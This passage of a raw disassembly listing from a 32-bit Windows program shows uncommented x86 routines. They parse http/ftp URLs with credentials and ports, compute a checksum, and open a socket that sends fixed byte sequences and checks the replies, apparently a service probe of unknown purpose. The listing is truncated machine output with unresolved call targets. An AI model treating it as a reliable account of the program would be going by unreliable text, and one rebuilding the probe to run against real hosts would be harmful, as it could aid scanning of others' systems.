[esp+524h+var_4F8] lea ecx, [esp+524h+var_430] push eax call sub_4014D3 mov ecx, [esp+524h+arg_4] push eax mov byte ptr [esp+528h], 1 call sub_401325 ; --------------------------------------------------------------------------- lea ecx, [esp+524h+var_430] mov [esp+524h], bl call sub_401226 loc_420C73: ; CODE XREF: sub_4208E0+2A7j mov eax, [esp+524h+var_504] mov ecx, [esp+524h+var_510] inc eax add edi, 24h cmp eax, ecx mov [esp+524h+var_504], eax jb loc_420B6B mov ebp, [esp+524h+var_4FC] loc_420C8F: ; CODE XREF: sub_4208E0+27Fj push ebp nop call near ptr 2940000h lea ecx, [esp+528h+var_4FC] mov [esp+528h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+528h+var_C] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 518h retn sub_4208E0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420DD0 proc near ; CODE XREF: sub_4015F5j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, [esp+4+arg_0] push eax push esi push 0 nop call near ptr 28A1CCEh push eax nop call near ptr 28A1273h mov eax, esi pop esi retn sub_420DD0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420E00 proc near ; CODE XREF: sub_401A37j var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] push ebx mov [ebp+var_4], 0 mov [ebp+arg_4], eax femms mov ecx, [ebp+arg_4] mov edx, [ebp+arg_0] mov ebx, [ebp+var_4] cmp ecx, 2 js short loc_420E39 loc_420E22: ; CODE XREF: sub_420E00+32j xor eax, eax mov ax, [edx] add ebx, eax sub ecx, 2 add edx, 2 cmp ecx, 1 jg short loc_420E22 cmp ecx, 0 jz short loc_420E4A loc_420E39: ; CODE XREF: sub_420E00+20j ; sub_420E00+48j xor eax, eax mov al, [edx] add ebx, eax sub ecx, 1 add edx, 1 cmp ecx, 0 jg short loc_420E39 loc_420E4A: ; CODE XREF: sub_420E00+37j mov [ebp+var_4], ebx mov eax, [ebp+var_4] shr eax, 10h mov ebx, [ebp+var_4] and ebx, 0FFFFh add eax, ebx mov ebx, eax shr ebx, 10h add eax, ebx mov [ebp+var_4], eax femms mov eax, [ebp+var_4] pop ebx not eax mov esp, ebp pop ebp retn sub_420E00 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_420EA0: ; CODE XREF: ___:00401019j mov eax, [esp+4] mov dword_50DB24, eax mov eax, offset dword_50DB24 retn ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_420EC0: ; CODE XREF: ___:0040177Bj push ebx push ebp push esi mov esi, [esp+10h] push edi mov edi, dword_511AAC push esi call edi ; ftell mov ebp, dword_511AA4 push 2 push 0 push esi mov ebx, eax call ebp ; fseek push esi call edi ; ftell push 0 push ebx push esi mov edi, eax call ebp ; fseek add esp, 20h mov eax, edi pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420F10 proc near ; CODE XREF: sub_401947j var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_420F10 push eax mov large fs:0, esp sub esp, 78h push ebx push esi mov esi, [esp+8Ch+arg_0] xor ebx, ebx cmp esi, ebx push edi jnz short loc_420F3F xor al, al jmp loc_421519 ; --------------------------------------------------------------------------- loc_420F3F: ; CODE XREF: sub_420F10+26j lea ecx, [esp+90h+var_84] call sub_40142E push esi lea ecx, [esp+94h+var_84] mov [esp+94h+var_4], ebx call sub_4015E1 push offset asc_444C64 ; ":" lea eax, [esp+94h+var_54] push ebx push eax lea ecx, [esp+9Ch+var_84] call sub_4016B8 mov esi, [esp+90h+arg_4] push eax mov ecx, esi mov byte ptr [esp+94h+var_4], 1 call sub_401FDC lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset aHttp ; "http" mov ecx, esi call sub_4012EE test eax, eax jz short loc_420FCF push offset aFtp ; "ftp" mov ecx, esi call sub_4012EE test eax, eax jz short loc_420FCF lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421519 ; --------------------------------------------------------------------------- loc_420FCF: ; CODE XREF: sub_420F10+92j ; sub_420F10+A2j push offset asc_4453E0 ; "/" lea ecx, [esp+94h+var_54] push 1 push ecx lea ecx, [esp+9Ch+var_84] call sub_4016B8 push 40h mov ecx, eax mov byte ptr [esp+94h+var_4], 2 call sub_401D34 lea ecx, [esp+90h+var_54] mov edi, eax mov byte ptr [esp+90h+var_4], bl call sub_401226 cmp edi, ebx push offset asc_4453E0 ; "/" push 1 jz loc_42130C lea edx, [esp+98h+var_24] lea ecx, [esp+98h+var_84] push edx call sub_4016B8 push offset a@ ; "@" lea ecx, [esp+94h+var_3C] push 1 push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 3 call sub_4016B8 push offset asc_444C64 ; ":" lea edx, [esp+94h+var_54] push ebx push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 4 call sub_4016B8 lea edi, [esi+15h] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 5 call sub_401FDC lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], 4 call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 3 call sub_401226 lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_448F30 mov ecx, edi call sub_4012EE test eax, eax jnz short loc_4210C9 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421519 ; --------------------------------------------------------------------------- loc_4210C9: ; CODE XREF: sub_420F10+19Cj push offset asc_4453E0 ; "/" lea eax, [esp+94h+var_54] push 1 push eax lea ecx, [esp+9Ch+var_84] call sub_4016B8 push offset a@ ; "@" lea ecx, [esp+94h+var_3C] push 1 push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 6 call sub_4016B8 push offset asc_444C64 ; ":" lea edx, [esp+94h+var_24] push 1 push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 7 call sub_4016B8 mov ecx, eax mov byte ptr [esp+90h+var_4], 8 call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+90h+var_24] mov [esi+54h], eax mov byte ptr [esp+90h+var_4], 7 call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 6 call sub_401226 lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 cmp [esi+54h], ebx jnz short loc_421195 push offset aHttp ; "http" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_42117E mov dword ptr [esi+54h], 50h loc_42117E: ; CODE XREF: sub_420F10+265j push offset aFtp ; "ftp" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_421195 mov dword ptr [esi+54h], 15h loc_421195: ; CODE XREF: sub_420F10+255j ; sub_420F10+27Cj push offset asc_4453E0 ; "/" lea eax, [esp+94h+var_54] push 1 push eax lea ecx, [esp+9Ch+var_84] call sub_4016B8 push offset a@ ; "@" lea ecx, [esp+94h+var_3C] push ebx push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 9 call sub_4016B8 push offset asc_444C64 ; ":" lea edx, [esp+94h+var_24] push ebx push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Ah call sub_4016B8 lea edi, [esi+2Ah] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 0Bh call sub_401FDC lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 0Ah call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 9 call sub_401226 lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_448F30 mov ecx, edi call sub_4012EE test eax, eax jnz short loc_42124E lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421519 ; --------------------------------------------------------------------------- loc_42124E: ; CODE XREF: sub_420F10+321j push offset asc_4453E0 ; "/" lea eax, [esp+94h+var_54] push 1 push eax lea ecx, [esp+9Ch+var_84] call sub_4016B8 push offset a@ ; "@" lea ecx, [esp+94h+var_3C] push ebx push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Ch call sub_4016B8 push offset asc_444C64 ; ":" lea edx, [esp+94h+var_24] push 1 push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Dh call sub_4016B8 lea edi, [esi+3Fh] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 0Eh call sub_401FDC lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 0Dh call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 0Ch call sub_401226 lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_448F30 mov ecx, edi call sub_4012EE test eax, eax jnz loc_421433 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421519 ; --------------------------------------------------------------------------- loc_42130C: ; CODE XREF: sub_420F10+100j lea eax, [esp+98h+var_3C] lea ecx, [esp+98h+var_84] push eax call sub_4016B8 push offset asc_444C64 ; ":" lea ecx, [esp+94h+var_24] push ebx push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Fh call sub_4016B8 lea edi, [esi+15h] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 10h call sub_401FDC lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 0Fh call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_448F30 mov ecx, edi call sub_4012EE test eax, eax jnz short loc_421393 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421519 ; --------------------------------------------------------------------------- loc_421393: ; CODE XREF: sub_420F10+466j push offset asc_4453E0 ; "/" lea edx, [esp+94h+var_3C] push 1 push edx lea ecx, [esp+9Ch+var_84] call sub_4016B8 push offset asc_444C64 ; ":" lea ecx, [esp+94h+var_24] push 1 push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 11h call sub_4016B8 mov ecx, eax mov byte ptr [esp+90h+var_4], 12h call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+90h+var_24] mov [esi+54h], eax mov byte ptr [esp+90h+var_4], 11h call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], bl call sub_401226 cmp [esi+54h], ebx jnz short loc_421433 push offset aHttp ; "http" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_42141C mov dword ptr [esi+54h], 50h loc_42141C: ; CODE XREF: sub_420F10+503j push offset aFtp ; "ftp" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_421433 mov dword ptr [esi+54h], 15h loc_421433: ; CODE XREF: sub_420F10+3DBj ; sub_420F10+4F3j ... push offset asc_4453E0 ; "/" lea ecx, [esp+94h+var_84] call sub_4013ED lea edx, [esp+90h+var_6C] push eax push edx lea ecx, [esp+98h+var_84] call sub_401E47 push offset asc_4453E0 ; "/" lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 13h call sub_4013ED push eax lea eax, [esp+94h+var_24] push eax lea ecx, [esp+98h+var_6C] call sub_401E47 push eax lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 14h call sub_40202C lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 13h call sub_401226 push offset asc_4453E0 ; "/" lea ecx, [esp+94h+var_6C] call sub_4013ED lea ecx, [esp+90h+var_24] push eax push ecx lea ecx, [esp+98h+var_6C] call sub_401E47 push eax lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 15h call sub_40202C lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 13h call sub_401226 add esi, 58h push offset asc_4453E0 ; "/" mov ecx, esi call sub_4015E1 lea edx, [esp+90h+var_6C] mov ecx, esi push edx call sub_4016C7 lea ecx, [esp+90h+var_6C] mov byte ptr [esp+90h+var_4], bl call sub_401226 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 loc_421519: ; CODE XREF: sub_420F10+2Aj ; sub_420F10+BAj ... mov ecx, [esp+90h+var_C] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 84h retn sub_420F10 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 190h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4216D0 proc near ; CODE XREF: sub_401AFFj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov edx, [esp+arg_4] push ebx mov ebx, [esp+4+arg_C] push ebp sub edx, ebx xor eax, eax push esi push edi test edx, edx jle short loc_4216FB loc_4216E4: ; CODE XREF: sub_4216D0+29j mov esi, [esp+10h+arg_0] mov edi, [esp+10h+arg_8] add esi, eax mov ecx, ebx xor ebp, ebp repe cmpsb jz short loc_421702 inc eax cmp eax, edx jl short loc_4216E4 loc_4216FB: ; CODE XREF: sub_4216D0+12j pop edi pop esi pop ebp xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_421702: ; CODE XREF: sub_4216D0+24j pop edi pop esi pop ebp mov al, 1 pop ebx retn sub_4216D0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_421720: ; CODE XREF: ___:004020B8j mov eax, 2010h call sub_437B30 mov eax, [esp+2018h] push ebp push esi dec eax push edi jz short loc_42176D dec eax jz short loc_421747 dec eax pop edi pop esi xor eax, eax pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_421747: ; CODE XREF: ___:00421738j mov eax, [esp+2020h] push 1388h push eax call sub_402022 add esp, 8 neg al sbb eax, eax pop edi pop esi and eax, 3 pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_42176D: ; CODE XREF: ___:00421735j push 6 push 1 push 2 nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jz loc_4218C9 cmp esi, 0FFFFFFFFh jz loc_4218C9 xor ecx, ecx push 87h mov [esp+10h], ecx mov word ptr [esp+10h], 2 mov [esp+14h], ecx mov [esp+18h], ecx mov [esp+1Ch], ecx call near ptr 71AB2B66h nop mov edx, [esp+2020h] mov [esp+0Eh], ax push edx call sub_40188E add esp, 4 mov [esp+10h], eax lea eax, [esp+0Ch] push 10h push eax push esi call near ptr 71AB406Ah nop cmp eax, 0FFFFFFFFh jz loc_4218C2 mov ebp, dword_511CA0 push 0 push 48h push offset dword_444DA8 push esi call ebp ; send cmp eax, 0FFFFFFFFh jz loc_4218C2 mov edi, dword_511CA4 push 0 lea ecx, [esp+20h] push 2000h push ecx push esi call edi ; recv cmp eax, 0FFFFFFFFh jz loc_4218C2 cmp byte ptr [esp+1Eh], 0Ch jnz loc_4218C2 push 0 push 18h push offset dword_444E1C push esi call ebp ; send cmp eax, 0FFFFFFFFh jz loc_4218C2 push 0 lea edx, [esp+20h] push 2000h push edx push esi call edi ; recv mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_4218C2 cmp byte ptr [esp+1Eh], 2 jnz short loc_4218C2 push 10h push offset loc_444DF4 lea eax, [esp+24h] push edi push eax call sub_401AFF add esp, 10h test al, al jz short loc_421891 xor ecx, ecx cmp edi, 12Ch setnl cl inc ecx push esi mov edi, ecx nop call near ptr 71AB9639h mov eax, edi pop edi pop esi pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_421891: ; CODE XREF: ___:0042186Ej push 10h push offset dword_444E08 lea edx, [esp+24h] push edi push edx call sub_401AFF add esp, 10h neg al sbb eax, eax push esi and eax, 3 mov edi, eax call near ptr 71AB9639h nop mov eax, edi pop edi pop esi pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_4218C2: ; CODE XREF: ___:004217DBj ; ___:004217F6j ... push esi nop call near ptr 71AB9639h loc_4218C9: ; CODE XREF: ___:0042177Ej ; ___:00421787j pop edi pop esi xor eax, eax pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 70h dup(0CCh) ; --------------------------------------------------------------------------- loc_421950: ; CODE XREF: ___:00401A0Fj xor al, al retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421970 proc near ; CODE XREF: sub_40120Dj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_401311 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_4010E6 sub_421970 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4219B0 proc near ; CODE XREF: sub_4018E8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401910 sub_4219B0 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4219F0 proc near ; CODE XREF: sub_401825j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_40197E mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_4014E2 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_4019A6 mov edx, [esi+4] mov ecx, esi push edx call sub_401956 sub_4219F0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421A60 proc near ; CODE XREF: sub_4014E2j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_40206D mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_401EDD mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_421A60 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421AA0 proc near ; CODE XREF: sub_40197Ej var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_401EDD mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_421AA0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421AD0 proc near ; CODE XREF: sub_402185j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_40197E mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40190B sub_421AD0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421B10 proc near ; CODE XREF: sub_40170Dj push esi mov esi, ecx call sub_4019FB mov eax, esi pop esi retn sub_421B10 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421B30 proc near ; CODE XREF: sub_40122Bj mov eax, [ecx] push eax call sub_4010F5 add esp, 4 retn sub_421B30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421B50 proc near ; CODE XREF: sub_40107Dj push esi mov esi, ecx mov eax, [esi] push eax call sub_40206D mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_421B50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421B80 proc near ; CODE XREF: sub_401811j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_40201D neg al sbb eax, eax inc eax retn 4 sub_421B80 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421BB0 proc near ; CODE XREF: sub_4016EAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401212 sub_421BB0 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421BF0 proc near ; CODE XREF: sub_401253j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_4013F7 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401465 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40100F mov edx, [esi+4] mov ecx, esi push edx call sub_4021DA sub_421BF0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421C60 proc near ; CODE XREF: sub_401465j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_40110E mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_401D89 mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_421C60 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421CA0 proc near ; CODE XREF: sub_4013F7j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_401D89 mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_421CA0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421CD0 proc near ; CODE XREF: sub_401325j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_4013F7 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401BC2 sub_421CD0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421D10 proc near ; CODE XREF: sub_401B54j push esi mov esi, ecx call sub_4011A9 mov eax, esi pop esi retn sub_421D10 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421D30 proc near ; CODE XREF: sub_401055j mov eax, [ecx] push eax call sub_40108C add esp, 4 retn sub_421D30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421D50 proc near ; CODE XREF: sub_401839j push esi mov esi, ecx mov eax, [esi] push eax call sub_40110E mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_421D50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421D80 proc near ; CODE XREF: sub_4012BCj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401D5C neg al sbb eax, eax inc eax retn 4 sub_421D80 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421DB0 proc near ; CODE XREF: sub_4010E6j arg_4 = byte ptr 8 push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401EEC mov edi, eax push edi call sub_401B31 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_40139D sub_421DB0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401B31 push edi mov [eax], ebx call sub_401B31 mov edi, [eax] push edi call sub_401B31 mov ecx, [eax] push ecx call sub_4015DC mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401172 add esp, 4 mov ecx, esi push eax call sub_401E5B mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_401D98 mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421E50 proc near ; CODE XREF: sub_40190Bj arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4010C8 mov edi, eax push edi call sub_401D07 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401910 sub_421E50 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401D07 push edi mov [eax], ebx call sub_401D07 mov edi, [eax] push edi call sub_401D07 mov ecx, [eax] push ecx call sub_40206D mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_4010F5 add esp, 4 mov ecx, esi push eax call sub_4017F3 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_401EDD mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421EF0 proc near ; CODE XREF: sub_4019A6j var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401811 test al, al jz short loc_421F4A loc_421F08: ; CODE XREF: sub_421EF0+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4020D6 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401A2D ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401811 test al, al jnz short loc_421F08 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_421F4A: ; CODE XREF: sub_421EF0+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_421EF0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421F80 proc near ; CODE XREF: sub_401910j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 24h call sub_401E0B sub_421F80 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_421F95 mov edi, esi loc_421F95: ; CODE XREF: ___:00421F91j push esi call sub_40206D mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_421FAA mov edi, esi loc_421FAA: ; CODE XREF: ___:00421FA6j push esi call sub_401D07 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421FD0 proc near ; CODE XREF: sub_401956j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401550 sub_421FD0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= 